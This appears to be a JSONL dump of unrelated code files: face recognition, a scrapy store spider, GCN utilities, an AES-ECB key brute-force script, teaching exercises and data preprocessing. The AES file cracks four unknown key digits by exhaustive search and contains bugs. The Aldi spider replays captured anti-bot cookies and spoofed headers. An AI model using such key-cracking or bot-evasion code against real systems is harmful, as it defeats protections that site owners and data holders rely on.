+{"seq_id":"214961896","text":"import numpy as np\nimport face_recognition as fr\nimport cv2\n\nvideo_capture = cv2.VideoCapture(0)\n\nface_image = fr.load_image_file(\"path/to/picture\")\nimage_face_encoding = fr.face_encodings(face_image)[0]\n\nknown_face_encodings = [image_face_encoding]\nknown_face_names = [\"NAMEOFFACE\"]\n\nwhile True:\n ret, frame = video_capture.read()\n\n rgb_frame = frame [:, :, ::-1]\n\n face_locations = fr.face_locations(rgb_frame)\n face_encodings = fr.face_encodings(rgb_frame, face_locations)\n\n for (top, right, bottom, left), face_encodings in zip(face_locations, face_encodings):\n\n matches = fr.compare_faces(known_face_encodings, face_encodings)\n\n name = \"Unknown\"\n\n face_distance = fr.face_distance(known_face_encodings, face_encodings)\n\n best_match_index = np.argmin(face_distance)\n if matches[best_match_index]:\n name = known_face_names[best_match_index]\n\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n\n cv2.rectangle(frame, (left, bottom -35), (right, bottom -35), (0, 0, 255), cv2.FILLED)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(frame, name, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 2)\n\n cv2.imshow('Webcam_face_recognition', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\nvideo_capture.release()\ncv2.destroyAllWindows()\n","sub_path":"face_recog_webcam.py","file_name":"face_recog_webcam.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"254565931","text":"import pilas\n\n# Permite que este ejemplo funcion incluso si no has instalado pilas.\nimport sys\nsys.path.insert(0, \"..\")\n\npilas.iniciar()\n\n# Dos pinguinos:\npingu1 = pilas.actores.Pingu(x=-100)\npingu2 = pilas.actores.Pingu(x=+100)\n\n# El pinguino de la derecha tendra el punto de control en los pies.\npingu2.centro = ('centro', 'abajo')\n\npilas.avisar(\"Dos actores con distintos centros (puntos de control), pulsa F12.\")\npilas.ejecutar()\n","sub_path":"pilas/cargador/ejemplos/basicos/punto_de_control.py","file_name":"punto_de_control.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"215886272","text":"# -*- coding: utf-8 -*-\nimport json\nimport csv\nimport scrapy\nimport re\n\nfrom locations.items import GeojsonPointItem\n\nCOOKIES = {\n \"bm_sz\": \"04B124C1C96D68082A9F61BAAAF0B6D5~YAAQdjsvF22E8Xl6AQAACr1VfAxPEt+enarZyrOZrBaNvyuX71lK5QPuDR/FgDEWBZVMRhjiIf000W7Z1PiAjxobrz2Y5LcYMH3CvUNvpdS3MjVLUMGwMEBCf9L5nD5Gs9ho2YL8T7Tz7lYvpolvaOlJnKrHyhCFxxk/uyBZ2G/0QrGKLwSaCQShDsz7ink=\",\n \"_abck\": \"440E40C406E69413DCCC08ABAA3E9022~-1~YAAQdjsvF26E8Xl6AQAACr1VfAYznoJdJhX7TNIZW1Rfh6qRhzquXg+L1TWoaL7nZUjXlNls2iPIKFQrCdrWqY/CNXW+mHyXibInMflIXJi5VVB/Swq53kABYJDuXYSlCunYvJAzMSr1q12NOYswz134Y8HRNzVWhkb2jMS5whmHxS/v0vniIvS1TQtKjEQlMGzQYmN41CmLX0JobipQhDtUB4VyNwztb2DCAZiqDX8BLwWg7h/DtPd4158qU69hNhayFTgWmD76/MiR8/T536tMmcoRyWLl4fEtP/XUmKOcksuZO7dbfNxXBffTxIXPYwf1eO77LNuZTCQq5kfsGZLJX8ODju2KSjnIF1vdnyHAe98FDIm+hw==~-1~-1~-1\"\n}\n\nHEADERS = {\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'accept-encoding': 'gzip, deflate, br',\n 'cache-control': 'max-age=0',\n 'referer': 'https://www.aldi.co.uk/store-finder',\n 'sec-ch-ua': '\" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"',\n 'sec-ch-ua-mobile': '?0',\n 'sec-fetch-dest': 'document',\n 'sec-fetch-mode': 'navigate',\n 'sec-fetch-site': 'same-origin',\n 'sec-fetch-user': '?1',\n 'upgrade-insecure-requests': '1',\n 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36',\n}\n\nclass AldiUKSpider(scrapy.Spider):\n name = \"aldi_uk\"\n item_attributes = {'brand': \"Aldi\"}\n allowed_domains = ['aldi.co.uk']\n download_delay = 1.5\n custom_settings = {\n 'USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36',\n }\n\n def start_requests(self):\n url = 'https://www.aldi.co.uk/sitemap/store-en_gb-gbp'\n \n yield scrapy.http.FormRequest(\n url=url,\n method='GET',\n dont_filter=True,\n cookies=COOKIES,\n headers=HEADERS,\n callback=self.parse\n )\n \n def parse(self, response):\n response.selector.remove_namespaces()\n store_urls = response.xpath('//url/loc/text()').extract()\n \n for store_url in store_urls:\n\n yield scrapy.http.FormRequest(\n url=store_url,\n method='GET',\n dont_filter=True,\n cookies=COOKIES,\n headers=HEADERS,\n callback=self.parse_store\n )\n \n def parse_store(self, response):\n \n store_js = response.xpath('//script[@type=\"text/javascript\"]/text()').extract_first()\n json_data = re.search('gtmData =(.+?);', store_js).group(1)\n data = json.loads(json_data)\n \n geojson_data = response.xpath('//script[@class=\"js-store-finder-initial-state\"][@type=\"application/json\"]/text()').extract_first()\n geodata = json.loads(geojson_data)\n\n properties = {\n 'name': data['seoData']['name'],\n 'ref': data['seoData']['name'],\n 'addr_full': data['seoData']['address']['streetAddress'],\n 'city': data['seoData']['address']['addressLocality'],\n 'postcode': data['seoData']['address']['postalCode'],\n 'country': data['seoData']['address']['addressCountry'],\n 'website': response.request.url,\n 'opening_hours': str(data['seoData']['openingHours']).replace('[','').replace(']','').replace(\"'\",''),\n 'lat': geodata['store']['latlng']['lat'],\n 'lon': geodata['store']['latlng']['lng'],\n }\n\n yield GeojsonPointItem(**properties)\n","sub_path":"locations/spiders/aldi_uk.py","file_name":"aldi_uk.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"99921551","text":"import numpy as np\nimport scipy.sparse as sp\nimport torch\n\n\ndef encode_onehot(labels):\n classes = set(labels)\n classes_dict = {c: np.identity(len(classes))[i, :] for i, c in\n enumerate(classes)}\n labels_onehot = np.array(list(map(classes_dict.get, labels)),\n dtype=np.int32)\n return labels_onehot\n\ndef make_batch(adj_csr, features_in, labels_in, idxs):\n \"\"\"Slice the adjacency, feature, and label matrices according to idxs.\n Temporary approach. Certainly won't do it this way when features are large.\n \"\"\"\n\n idx_map = {j: i for i, j in enumerate(idxs)}\n\n # Get rows. adj needs to be a csr or csc matrix to allow indexing.\n adj = adj_csr[idxs, :]\n # Get columns. Simply typing adj_csr[idxs,idxs] doesn't work.\n adj = adj[:, idxs]\n\n # Get features. Rows are \"samples\" e.g. nodes and columns are features.\n features = features_in[idxs, :]\n\n # Get labels slice\n labels = labels_in[idxs]\n\n # Symmetrize adjacency matrix.\n adj = adj + adj.T.multiply(adj.T > adj) - adj.multiply(adj.T > adj)\n\n # Normalize.\n features = normalize(features)\n adj = normalize(adj + sp.eye(adj.shape[0]))\n\n # Convert to PyTorch tensors.\n features = torch.FloatTensor(np.array(features.todense()))\n # labels = torch.LongTensor(np.where(labels)[1])\n adj = sparse_mx_to_torch_sparse_tensor(adj)\n\n return adj, features, labels, idx_map\n\ndef training_split(idxs, train_size, val_size, test_size):\n idx_set = set(idxs)\n idx_train = np.random.choice(idxs, train_size,replace=False)\n train_set = set(idx_train)\n\n unsampled_set = idx_set.difference(train_set)\n unsampled_idx = np.array(sorted(list(unsampled_set)))\n\n idx_val = np.random.choice(unsampled_idx, val_size, replace=False)\n val_set = set(idx_val)\n\n unsampled_set = unsampled_set.difference(val_set)\n unsampled_idx = np.array(sorted(list(unsampled_set)))\n\n idx_test = np.random.choice(unsampled_idx, test_size, replace=False)\n\n idx_train = torch.LongTensor(idx_train)\n idx_val = torch.LongTensor(idx_val)\n idx_test = torch.LongTensor(idx_test)\n\n return idx_train, idx_val, idx_test\n\n\ndef load_data(path=\"../data/cora/\", dataset=\"cora\"):\n \"\"\"Load citation network dataset (cora only for now)\"\"\"\n print('Loading {} dataset...'.format(dataset))\n\n idx_features_labels = np.genfromtxt(\"{}{}.content\".format(path, dataset),\n dtype=np.dtype(str))\n features = sp.csr_matrix(idx_features_labels[:, 1:-1], dtype=np.float32)\n labels = encode_onehot(idx_features_labels[:, -1])\n labels = torch.LongTensor(np.where(labels)[1])\n\n # build graph\n idx = np.array(idx_features_labels[:, 0], dtype=np.int32)\n\n # the new index is the order we see the indices in. Map from the number\n # given in the file (the index) to the order it is seen in the flat file\n # (which is the new index)\n idx_map = {j: i for i, j in enumerate(idx)}\n\n # Pull the edges from their flat file.\n edges_unordered = np.genfromtxt(\"{}{}.cites\".format(path, dataset),\n dtype=np.int32)\n # Map\n edges = np.array(list(map(idx_map.get, edges_unordered.flatten())),\n dtype=np.int32).reshape(edges_unordered.shape)\n adj = sp.coo_matrix((np.ones(edges.shape[0]), (edges[:, 0], edges[:, 1])),\n shape=(labels.shape[0], labels.shape[0]),\n dtype=np.float32)\n\n\n\n\n # Commenting all this out because we are going to normalize and Symmetrize\n # the minibatches JIT for each epoch.\n\n # idx_batch1 = range(70)\n # idx_batch2 = range(70,140)\n\n # adj_csr = sp.csr_matrix(adj)\n # adj, features, labels, idx_map = make_batch(adj_csr, features, labels, idx_batch2)\n\n # build symmetric adjacency matrix\n # adj = adj + adj.T.multiply(adj.T > adj) - adj.multiply(adj.T > adj)\n\n # features = normalize(features)\n # adj = normalize(adj + sp.eye(adj.shape[0]))\n\n # Not sure we want this here.\n # idx_train = range(140)\n # idx_val = range(200, 500)\n # idx_test = range(500, 1500)\n #\n # features = torch.FloatTensor(np.array(features.todense()))\n # labels = torch.LongTensor(np.where(labels)[1])\n # adj = sparse_mx_to_torch_sparse_tensor(adj)\n #\n # idx_train = torch.LongTensor(idx_train)\n # idx_val = torch.LongTensor(idx_val)\n # idx_test = torch.LongTensor(idx_test)\n\n return adj, features, labels #, idx_train, idx_val, idx_test\n\n\ndef normalize(mx):\n \"\"\"Row-normalize sparse matrix\"\"\"\n rowsum = np.array(mx.sum(1))\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n r_mat_inv = sp.diags(r_inv)\n mx = r_mat_inv.dot(mx)\n return mx\n\n\ndef accuracy(output, labels):\n preds = output.max(1)[1].type_as(labels)\n correct = preds.eq(labels).double()\n correct = correct.sum()\n return correct / len(labels)\n\n\ndef sparse_mx_to_torch_sparse_tensor(sparse_mx):\n \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n return torch.sparse.FloatTensor(indices, values, shape)\n","sub_path":"pygcn/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"460394056","text":"import sys\nimport base64\nfrom Crypto.Cipher import AES\n\nclass AESCipher(object):\n def __init__(self, key): #자동호출\n self.bs = 16 #bs라는 변수를 16, cipher내용을 이렇게 넣어라\n self.cipher = AES.new(key, AES.MODE_ECB)\n\n def encrypt(self, raw):\n raw = self._pad(raw)\n encrypted = self.cipher.encrypt(raw)\n encoded = base64.b64encode(encrypted) #raw에 대해 바이너리데이터를 친숙한 글자로 바꿔주기 위해 base64로 인코딩\n return str(encoded, 'utf-8') #python3에서 utf-8로 한 번 더 암호화해줘야 함(우분투)\n\n def decrypt(self, raw):\n decoded = base64.b64decode(encrypted)\n decrypted = self.cipher.decrypt(decoded)\n return str(self._unpad(decrypted), 'utf-8') #패딩을 다시 떼줌\n\n def _pad(self, s): #16블록이면 한 블록씩, 0으로 자릿수를 맞춰줌\n return s + (self.bs - len(s) % self.bs) + chr(0)\n\n def _unpad(self, s):\n return s\n #return s[:-ord(s[len(s)-1:])]\n\nencrypted = 'AES-ECB모드로 암호화된 데이터'\n\nif __name__ == '__main__':\n key = 'veryveryeasy????' #key는 16바이트, ????자리 반복문으로 알아내기\n cipher = AESCipher(key)\n\n #E = cipher.encrypt('hello world!')\n #print(E)\n #D = cipher.decrypt(E)\n #print(D)\n\n #반복문으로 키값 알아내기\n for i in range(10000):\n #.ljust\n if i<10: key='000' + str(i)\n elif i<100: key='00' + str(i)\n elif i<1000: key='0' + str(i)\n else: key=str(i)\n cipher2 = AESCipher('veryveryeasy'+key)\n try: #try:..except:...가 파이썬에서 오류가 있어도 지나가게 해줌\n D2 = cipher2.decrypt(encrypted)\n print('key digits:%s'%key)\n print(D2)\n except:\n pass #pass는 무의미\n\n","sub_path":"대칭키(AES-ECB)복호화.py","file_name":"대칭키(AES-ECB)복호화.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"366229423","text":"import numpy as np\n\n\nclass Line:\n \"\"\"\n Diese Klasse gepräsentiert das geometrische Objekt Line mit Startpunkt (p1) und Endpunkt (p2).\n \"\"\"\n def __init__(self, p1xy, p2xy):\n \"\"\"\n Konstruktor für das Line-Objekt.\n :param p1xy: Startpunkt als Tuple (x, y)\n :param p2xy: Endpunkt als Tuple\n \"\"\"\n#\n#\n# HIER KOMMT IHRE LÖSUNG\n#\n#\n\n def getEdges(self):\n \"\"\"\n Gibt die beiden Punkte p1 und p2 zurück\n :return: p1,p2\n \"\"\"\n\n return 0, 0 # Diese Zeile bitte entfernen\n#\n#\n# HIER KOMMT IHRE LÖSUNG\n#\n#\n\n def length(self):\n \"\"\"\n Gibt die Länge der Linie zurück. (Pythagoras)\n\n :return: Länge der Linie\n \"\"\"\n return 0 # Diese Zeile bitte entfernen\n#\n#\n# HIER KOMMT IHRE LÖSUNG\n#\n#\n\n def angle(self):\n \"\"\"\n Winkel der Linie zur X-Achse. Stellen Sie sich vor, wie Sie\n das Steuer eine Autos drehen müssen, wenn Sie von p1 nach p2 fahren. \n\n | p1 | p2\n | * phi ist ca. 300 Grad | * phi ist ca. 100 Grad\n | * | *\n | * | *\n -----------------------*------------ -----------------------*------------\n | * | *\n | * | *\n | * | *\n | p2 | p1\n\n :return: Winkel in Grad von 0 bis 359.999999...\n \"\"\"\n\n return 0 # Diese Zeile bitte entfernen\n#\n#\n# HIER KOMMT IHRE LÖSUNG\n#\n#\n\n\n def rotate(self, phi):\n \"\"\"\n Erzeugt ein neues Linienobjekt, dass gegenüber diesem (self) um den Grad-Winkel phi\n gedreht ist. Es wird im den Mittelpunkt der Linie gedreht.\n :param phi: Winkel in Grad 0 <= phi < 360\n :return: Line-Objekt\n\n Hinweise hier:https://en.wikipedia.org/wiki/Rotation_matrix\n \"\"\"\n\n return Line((0, 0), (1, 1)) # Diese Zeile bitte entfernen\n#\n#\n# HIER KOMMT IHRE LÖSUNG\n#\n#\n\n\n def __str__(self):\n \"\"\"\n Hier müssen Sie nichts machen.\n Diese Funktion dient der Anzeige Ihres Objektes mit Print\n :return: Stringrepräsentation\n \"\"\"\n result = '({:5.1f}, {:5.1f}) -- ({:5.1f}, {:5.1f}) | Winkel mit X-Achse: {:5.1f}° und Länge {:5.1f}'.format(\n self.p1[0], self.p1[1], self.p2[0], self.p2[1], self.angle(), self.length()\n )\n return result\n\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n def plotline(ax, line, **argv):\n label = argv.get('label', '')\n label += '(Winkel = {:.1f})'.format(line.angle())\n argv['label'] = label\n\n p1, p2 = line.getEdges()\n p1x, p1y = p1\n p2x, p2y = p2\n ax.plot([p1x, p2x], [p1y, p2y], **argv)\n ax.plot([p1x], [p1y], marker='o', mfc='k', mec='k')\n\n ax = plt.gca()\n\n l = Line( (20, 30), (20, 10) )\n plotline(ax, l, lw=2, label='L1')\n plotline(ax, l.rotate(120), lw=2, label='L1')\n plotline(ax, l.rotate(240), lw=2, label='L1')\n\n l = Line( (-20, 10), (-20, 30) )\n plotline(ax, l, lw=2, label='L2')\n plotline(ax, l.rotate(120), lw=2, label='L2')\n plotline(ax, l.rotate(240), lw=2, label='L2')\n\n plt.xlim([-40, 40])\n plt.ylim([-40, 40])\n ax.grid()\n ax.legend()\n plt.show()\n","sub_path":"Uebungen/070_Geometrie/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"88148350","text":"class Student(object):\n def __init__(self, name):\n self.name = name\n\n def __call__(self):\n print('My name is %s.' % self.name)\n\n\ns = Student('Michael')\ns() # My name is Michael.\n\n# 判断一个变量是对象还是函数呢?其实,更多的时候,我们需要判断一个对象是否能被调用,能被调用的对象就是一个Callable对象,比如函数和我们上面定义的带有__call__() 的类实例:\ncallable(Student()) # True\ncallable(max) # True\ncallable([1, 2, 3]) # False\ncallable(None) # False\ncallable('str') # False\n","sub_path":"src/language_ref/class/method/special/method_callable.py","file_name":"method_callable.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"336339996","text":"from sklearn.preprocessing import LabelEncoder\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.compose import ColumnTransformer\n\n'''\nThis class contains all the methods that are used to pre process the dataset and to clean the data.\n'''\nclass PreProcessing:\n cols_to_drop = [\n 'health_insurance',\n 'employment_industry',\n 'employment_occupation',\n 'h1n1_concern',\n 'rent_or_own',\n 'behavioral_large_gatherings',\n 'marital_status',\n 'education',\n 'respondent_id'\n ]\n \n drop_seasonal_end = [\n 'chronic_med_condition',\n 'sex',\n 'employment_status',\n 'hhs_geo_region',\n 'census_msa',\n 'FamilySize',\n 'behavior'\n ]\n \n drop_h1n1_end = [\n 'chronic_med_condition',\n 'child_under_6_months',\n 'sex',\n 'employment_status',\n 'census_msa'\n ]\n \n drop_after_merge = [\n 'behavioral_antiviral_meds',\n 'behavioral_avoidance',\n 'behavioral_face_mask',\n 'behavioral_wash_hands',\n 'behavioral_outside_home',\n 'behavioral_touch_face',\n 'household_adults',\n 'household_children'\n ]\n \n drop_seasonal = [\n 'h1n1_knowledge',\n 'doctor_recc_h1n1',\n 'child_under_6_months',\n 'opinion_h1n1_vacc_effective',\n 'opinion_h1n1_risk',\n 'opinion_h1n1_sick_from_vacc'\n ]\n \n h1n1_drop = [\n 'doctor_recc_seasonal',\n 'opinion_seas_vacc_effective',\n 'opinion_seas_risk',\n 'opinion_seas_sick_from_vacc'\n ]\n \n mode = {'h1n1_concern': 2,\n 'h1n1_knowledge': 1,\n 'behavioral_antiviral_meds': 0,\n 'behavioral_avoidance': 1,\n 'behavioral_face_mask': 0,\n 'behavioral_wash_hands': 1,\n 'behavioral_large_gatherings': 0,\n 'behavioral_outside_home': 0,\n 'behavioral_touch_face': 1,\n 'doctor_recc_h1n1': 0,\n 'doctor_recc_seasonal': 0,\n 'chronic_med_condition': 0,\n 'child_under_6_months': 0,\n 'health_worker': 0,\n 'opinion_h1n1_vacc_effective': 4,\n 'opinion_h1n1_risk': 2,\n 'opinion_h1n1_sick_from_vacc': 2,\n 'opinion_seas_vacc_effective': 4,\n 'opinion_seas_risk': 2,\n 'opinion_seas_sick_from_vacc': 1,\n 'education': 'College Graduate',\n 'marital_status': 'Married',\n 'household_adults': 1,\n 'household_children': 0,\n 'employment_status': 'Employed',\n 'income_poverty': '<= $75,000, Above Poverty',\n 'rent_or_own': 'Own'}\n \n '''\n This method is used to encode the values of our features\n '''\n def encodeValues(df, feature):\n labelencoder = LabelEncoder()\n df[feature] = labelencoder.fit_transform(df[feature])\n \n '''\n This method is used to encode the ordinal features\n ''' \n def encodeOrdinal(df, feature, mapping):\n df[feature] = df[feature].apply(lambda x: mapping[x])\n \n '''\n This method is used to clean the dataset.\n To clean the dataset we delete some columns, we encode the values of some columns and we add some features.\n '''\n def TestSetCleaning(to_be_cleaned):\n test_dataset = to_be_cleaned.copy()\n labels_seasonal = test_dataset.pop('seasonal_vaccine')\n labels_h1n1 = test_dataset.pop('h1n1_vaccine')\n test_dataset.drop(PreProcessing.cols_to_drop, axis=1, inplace = True)\n \n for col in test_dataset.columns:\n if(col in PreProcessing.mode):\n test_dataset[col].fillna(PreProcessing.mode[col], inplace=True)\n for features in test_dataset.columns:\n if(test_dataset[features].dtypes == 'float64'):\n test_dataset[features] = test_dataset[features].astype(int)\n \n PreProcessing.encodeValues(test_dataset, 'sex')\n PreProcessing.encodeValues(test_dataset, 'employment_status')\n PreProcessing.encodeValues(test_dataset, 'hhs_geo_region')\n PreProcessing.encodeValues(test_dataset, 'census_msa')\n PreProcessing.encodeOrdinal(test_dataset, 'age_group', {\"18 - 34 Years\": 0, \"35 - 44 Years\": 1, \"45 - 54 Years\": 2, \"55 - 64 Years\": 3, \"65+ Years\": 4})\n PreProcessing.encodeOrdinal(test_dataset, 'income_poverty', {\"Below Poverty\": 0, \"<= $75,000, Above Poverty\": 1, \"> $75,000\": 2})\n PreProcessing.encodeOrdinal(test_dataset, 'race', {\"Black\": 0, \"Hispanic\": 1, \"Other or Multiple\": 2, \"White\": 3})\n \n\n \n test_dataset['FamilySize'] = test_dataset['household_adults'].astype(int) + test_dataset['household_children'].astype(int) + 1\n test_dataset['behavior'] = test_dataset['behavioral_antiviral_meds'] + test_dataset['behavioral_avoidance'] + test_dataset['behavioral_face_mask'] + test_dataset['behavioral_wash_hands'] + test_dataset['behavioral_outside_home'] + test_dataset['behavioral_touch_face']\n test_dataset.drop(PreProcessing.drop_after_merge, axis=1, inplace = True)\n seasonalFlu = test_dataset.drop(PreProcessing.drop_seasonal, axis=1)\n h1n1 = test_dataset.drop(PreProcessing.h1n1_drop, axis=1)\n\n numeric_preprocessing_steps = Pipeline([\n ('standard_scaler', StandardScaler()),\n ('simple_imputer', SimpleImputer(strategy='median'))\n ])\n\n numeric_cols = seasonalFlu.columns[seasonalFlu.dtypes != \"object\"].values\n \n preprocessor = ColumnTransformer(\n transformers = [\n (\"numeric\", numeric_preprocessing_steps, numeric_cols)\n ],\n remainder = \"drop\"\n )\n \n seasonalFlu.drop(PreProcessing.drop_seasonal_end, axis=1, inplace = True)\n\n numeric_cols = h1n1.columns[h1n1.dtypes != \"object\"].values\n \n preprocessor = ColumnTransformer(\n transformers = [\n (\"numeric\", numeric_preprocessing_steps, numeric_cols)\n ],\n remainder = \"drop\"\n )\n h1n1.drop(PreProcessing.drop_h1n1_end, axis=1, inplace = True)\n \n for features in seasonalFlu.columns:\n if(seasonalFlu[features].dtypes == 'object'):\n seasonalFlu[features] = seasonalFlu[features].astype(int)\n for features in h1n1.columns:\n if(h1n1[features].dtypes == 'object'):\n h1n1[features] = h1n1[features].astype(int)\n\n return seasonalFlu, h1n1, labels_seasonal, labels_h1n1 \n\n '''\n This method is used to clean the dataset without encoding the categorical features\n '''\n def TestSetCleaningNoCod(df):\n\n test_dataset = df.copy()\n labels_seasonal = test_dataset.pop('seasonal_vaccine')\n labels_h1n1 = test_dataset.pop('h1n1_vaccine')\n test_dataset.drop(PreProcessing.cols_to_drop, axis=1, inplace = True)\n \n for col in test_dataset.columns:\n if(col in PreProcessing.mode):\n test_dataset[col].fillna(PreProcessing.mode[col], inplace=True)\n for features in test_dataset.columns:\n if(test_dataset[features].dtypes == 'float64'):\n test_dataset[features] = test_dataset[features].astype(int)\n \n \n PreProcessing.encodeValues(test_dataset, 'sex')\n PreProcessing.encodeValues(test_dataset, 'employment_status')\n PreProcessing.encodeValues(test_dataset, 'census_msa')\n \n test_dataset['income_poverty'] = test_dataset['income_poverty'].replace(',','', regex=True, inplace=True)\n \n \n test_dataset['FamilySize'] = test_dataset['household_adults'].astype(int) + test_dataset['household_children'].astype(int) + 1\n test_dataset['behavior'] = test_dataset['behavioral_antiviral_meds'] + test_dataset['behavioral_avoidance'] + test_dataset['behavioral_face_mask'] + test_dataset['behavioral_wash_hands'] + test_dataset['behavioral_outside_home'] + test_dataset['behavioral_touch_face']\n test_dataset.drop(PreProcessing.drop_after_merge, axis=1, inplace = True)\n seasonalFlu = test_dataset.drop(PreProcessing.drop_seasonal, axis=1)\n h1n1 = test_dataset.drop(PreProcessing.h1n1_drop, axis=1)\n\n numeric_preprocessing_steps = Pipeline([\n ('standard_scaler', StandardScaler()),\n ('simple_imputer', SimpleImputer(strategy='median'))\n ])\n\n numeric_cols = seasonalFlu.columns[seasonalFlu.dtypes != \"object\"].values\n \n preprocessor = ColumnTransformer(\n transformers = [\n (\"numeric\", numeric_preprocessing_steps, numeric_cols)\n ],\n remainder = \"drop\"\n )\n \n seasonalFlu.drop(PreProcessing.drop_seasonal_end, axis=1, inplace = True)\n \n numeric_cols = h1n1.columns[h1n1.dtypes != \"object\"].values\n \n preprocessor = ColumnTransformer(\n transformers = [\n (\"numeric\", numeric_preprocessing_steps, numeric_cols)\n ],\n remainder = \"drop\"\n )\n h1n1.drop(PreProcessing.drop_h1n1_end, axis=1, inplace = True)\n \n seasonalFlu = seasonalFlu.loc[:, ~seasonalFlu.columns.str.contains('^Unnamed')]\n h1n1 = h1n1.loc[:, ~h1n1.columns.str.contains('^Unnamed')]\n\n return seasonalFlu, h1n1, labels_seasonal, labels_h1n1","sub_path":"Final Term/Notebook/Libraries/PreProcessing.py","file_name":"PreProcessing.py","file_ext":"py","file_size_in_byte":9432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"642603977","text":"import numpy as np\r\nfrom scipy.integrate import odeint\r\nimport matplotlib.pylab as plt\r\n\r\n# function that returns dy/dt\r\ndef model(z, t):\r\n k1 = 0.015;\r\n k2 = 0.004;\r\n dadt = -k1 * z[0];\r\n dbdt = k1 * z[0] - k2 * z[1];\r\n dvdt = k2 * z[1];\r\n dzdt = [dadt, dbdt, dvdt];\r\n return dzdt;\r\n\r\n# initial condition\r\nz0 = [1.2, 0, 0];\r\n\r\n# time points\r\nt = np.linspace(0, 500, 100);\r\n\r\n# solve ODE\r\nz = odeint(model, z0, t);\r\n\r\nD_MAX = np.max(z[:,1]);\r\nprint(D_MAX);\r\nT_MAX = odeint(model, z0, D_MAX);\r\nprint(T_MAX);\r\n# plot results\r\nplt.figure('Result');\r\nplt.plot(t,z[:,0], 'r-', label='A');\r\nplt.plot(t,z[:,1], 'b-', label='D');\r\nplt.plot(t,z[:,2], 'g-', label='U');\r\nplt.xlabel('time');\r\nplt.ylabel('value');\r\nplt.legend();\r\nplt.grid();\r\nplt.show();","sub_path":"dif_Q4.py","file_name":"dif_Q4.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"496282530","text":"import wi2c16x2lcd\n#define main program\ndef main():\n\n wi2c16x2lcd.lcd_init() #initializ lcd\n wi2c16x2lcd.clr_line(1)#clear line 1\n wi2c16x2lcd.clr_line(2) #clear line 2\n wi2c16x2lcd.wlcd(1,1,list(\"i2c interface\"))#write to lcd from line 1, position 1\n wi2c16x2lcd.wlcd(2,2,list(\"address = \"))#write to lcd from line 2, position 2\n w_integer = hex(wi2c16x2lcd.I2C_ADDR)# get i2c address of lcd, cast to hex\n w_char = list(str(w_integer))#cast integer to string and then list\n wi2c16x2lcd.wlcd(2,12,w_char)#write to lcd from line 2, position 12\n \n return 0 \n\n\n#execute main program \nmain()\n","sub_path":"release16x2_1.01/raspberryPi_library_example_sourcecode/pythonLibrary/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"30305222","text":"#!/usr/bin/env python\n# coding: utf-8\n# 2020-9-14 11:48:53\nimport matplotlib.pyplot as plt\n# from scipy import stats\nimport numpy as np\nimport pandas as pd\nimport sys\nfrom scipy import stats\nimport datetime\n\nimport os\n\n\ndef getLinkID(a, b):\n if str(b).startswith('-'):\n return str(a) + \"1\" + str(b)[1:]\n return str(a) + '0' + str(b)\n\n\n# 计算小车均值和大车均值比例系数\n\ndef peak_peak(arr):\n try:\n # print(type(arr))\n # print(arr)\n if (len(arr) > 1):\n # print('=============================================================')\n # print(arr[0])\n # print(arr[1])\n return round(arr[0] / arr[1], 2)\n else:\n return 0.00\n except Exception as e:\n print(repr(e))\n # print(arr)\n # print('++++++++++++++++++++++++++++++++++++++++++++++++++++++')\n\n\ndef getCar_ff_truck_ff_key(a, b):\n return str(a) + '_' + str(b)\n\n\n# ### 拼接自由流类别方法\ndef getCar_truck_key(a, b):\n return str(a) + '_' + str(b)\n\n\ndef process(dfAll, speedFilter, baseFile):\n outJpgPath = baseFile + 'jpg-' + str(speedFilter) + '/'\n if not os.path.exists(outJpgPath):\n os.makedirs(outJpgPath)\n saveRoidPathF = baseFile + 'rate/'\n print(outJpgPath)\n print(saveRoidPathF)\n if not os.path.exists(saveRoidPathF):\n os.makedirs(saveRoidPathF)\n saveRoidPath = saveRoidPathF + 